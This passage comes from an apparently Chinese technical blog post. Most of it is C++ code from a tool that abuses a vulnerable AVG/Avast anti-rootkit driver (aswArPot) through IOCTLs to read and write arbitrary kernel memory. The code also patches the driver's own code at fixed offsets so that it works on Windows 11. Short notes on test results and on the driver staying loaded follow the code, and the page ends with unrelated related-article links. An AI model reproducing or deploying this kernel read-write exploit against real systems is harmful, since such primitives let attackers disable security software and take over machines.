    46. IoControlCode,
    47. InputBuffer,
    48. InputBufferLength,
    49. OutputBuffer,
    50. OutputBufferLength,
    51. &ioStatus);
    52. bResult = NT_SUCCESS(ntStatus);
    53. SetLastError(RtlNtStatusToDosError(ntStatus));
    54. return bResult;
    55. }
    56. bool avg_driver::ReadMemory(HANDLE device_handle, uint64_t address, void* buffer, uint64_t size) {
    57. ASWARPOT_COPY_MEMORY_INFO info = { 0 };
    58. bool bResult = false;
    59. info.ReadSourceAddress = (PVOID)address;
    60. ULONG ulData = 0;
    61. if (size < 4)
    62. {
    63. bResult = SuperCallDriver(device_handle, IOCTL_ASWARPOT_READ_MEMORY, &info, sizeof(info), &ulData, 4);
    64. if (!bResult)
    65. {
    66. Log(L"[-] ReadMemory 1 failed\r\n");
    67. }
    68. else
    69. {
    70. RtlCopyMemory(buffer, &ulData, size);
    71. }
    72. }
    73. else
    74. {
    75. bResult = SuperCallDriver(device_handle, IOCTL_ASWARPOT_READ_MEMORY, &info, sizeof(info), buffer, size);
    76. if (!bResult)
    77. {
    78. Log(L"[-] ReadMemory 2 failed\r\n");
    79. }
    80. }
    81. return bResult;
    82. }
    83. bool avg_driver::WriteMemory(HANDLE device_handle, uint64_t address, void* buffer, uint64_t size) {
    84. ULONG ulSize = sizeof(ASWARPOT_COPY_MEMORY_INFO) + size;
    85. PASWARPOT_COPY_MEMORY_INFO pInfo = (PASWARPOT_COPY_MEMORY_INFO)malloc(ulSize);
    86. if (!pInfo)
    87. {
    88. Log(L"[-]WriteMemory malloc failed\r\n");
    89. return false;
    90. }
    91. RtlZeroMemory(pInfo, ulSize);
    92. pInfo->DestinationAddress = (PVOID)address;
    93. pInfo->Size = size;
    94. RtlCopyMemory(&pInfo->Buffer, buffer, size);
    95. bool bResult = SuperCallDriver(device_handle, IOCTL_ASWARPOT_WRITE_MEMORY, pInfo, ulSize, NULL, NULL);
    96. free(pInfo);
    97. if (!bResult)
    98. {
    99. Log(L"[-] WriteMemory failed\r\n");
    100. }
    101. return bResult;
    102. }
    103. bool avg_driver::WriteToReadOnlyMemory(HANDLE device_handle, uint64_t address, void* buffer, uint32_t size) {
    104. if (!address || !buffer || !size)
    105. return false;
    106. bool result = WriteMemory(device_handle, address, buffer, size);
    107. return result;
    108. }
    109. bool avg_driver::PatchDriver(HANDLE device_handle)
    110. {
    111. BYTE byData = 0;
    112. uint64_t driverBase = utils::GetKernelModuleAddress(driver_name);
    113. if (driverBase == 0) {
    114. Log(L"[-] Failed to get driver:" << driver_name << std::endl);
    115. avg_driver::Unload(device_handle);
    116. return false;
    117. }
    118. //将对应读写内存 MmProbeAndLockPages(pMdl, 0, IoModifyAccess); 第三个参数改为 IoReadAccess
    119. uint64_t patchReadAddress = driverBase + READ_PROBE_AND_LOCK_PAGES_OPERATION_OFFSET;
    120. if (!WriteMemory(device_handle, patchReadAddress, &byData, 1))
    121. {
    122. Log(L"[-] Failed to Write Memory In Patch Driver 1" << std::endl);
    123. avg_driver::Unload(device_handle);
    124. return false;
    125. }
    126. uint64_t patchWriteAddress = driverBase + WRITE_PROBE_AND_LOCK_PAGES_OPERATION_OFFSET;
    127. if (!WriteMemory(device_handle, patchWriteAddress, &byData, 1))
    128. {
    129. Log(L"[-] Failed to Write Memory In Patch Driver 2" << std::endl);
    130. avg_driver::Unload(device_handle);
    131. return false;
    132. }
    133. Log(L"[+] PatchDriver OK!\r\n");
    134. return true;
    135. }
    136. HANDLE avg_driver::Load()
    137. {
    138. ......
    139. ntoskrnlAddr = utils::GetKernelModuleAddress("ntoskrnl.exe");
    140. if (ntoskrnlAddr == 0) {
    141. Log(L"[-] Failed to get ntoskrnl.exe" << std::endl);
    142. avg_driver::Unload(result);
    143. return INVALID_HANDLE_VALUE;
    144. }
    145. if (!PatchDriver(result)) //不使用PatchDriver Win11上导致读取失败
    146. {
    147. Log(L"[-] Failed to Patch Driver" << std::endl);
    148. avg_driver::Unload(result);
    149. return INVALID_HANDLE_VALUE;
    150. }
    151. ......
    152. }

    6.运行效果

    • Win 10 x64 22H2

    • Win 11 x64 22621

    7. 特别提示

      经过测试发现漏洞驱动加载后就不能卸载了,如果要实现多次加载需要修改相关逻辑,具体就不详述了。

  • 相关阅读:
    javacofig几个常用注解
    2024贵州大学计算机考研分析
    Docker 运行percona tokudb 引擎
    太简单了,一文彻底搞懂Jenkins的用法
    银行智能运维探索:打造通用指标趋势预测模型
    聊一聊作为高并发系统基石之一的缓存,会用很简单,用好才是技术活
    c 语言基础:L1-049 天梯赛座位分配
    个人信息安全工程指南
    springboot集成Quartz定时任务组件
    6条优势,anzo capital昂首资本相信MT5替代MT4的原因
  • 原文地址:https://blog.csdn.net/zhuting__xf/article/details/133854701